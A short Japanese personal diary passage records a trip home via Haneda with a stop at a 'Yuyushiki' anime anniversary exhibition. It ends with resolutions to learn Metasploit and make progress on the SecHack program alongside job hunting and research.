松山空港到着.
ラーメン🍜食べてお土産買って羽田へ
19:20
羽田空港到着.
20:10
ゆゆ式展到着.
ゆゆ式10周年記念展開催決定! -TVアニメ「ゆゆ式」公式サイト-
魂が震えた.
21:30
自宅到着.
バス+飛行機+モノレール+電車という移動のせいでかなり疲れた.
まとめ
- Metasploit おじさんになる
- 就活と研究と並行してSecHackの進捗もだしていく (願望)
- 年末年始もだらけないでがんばる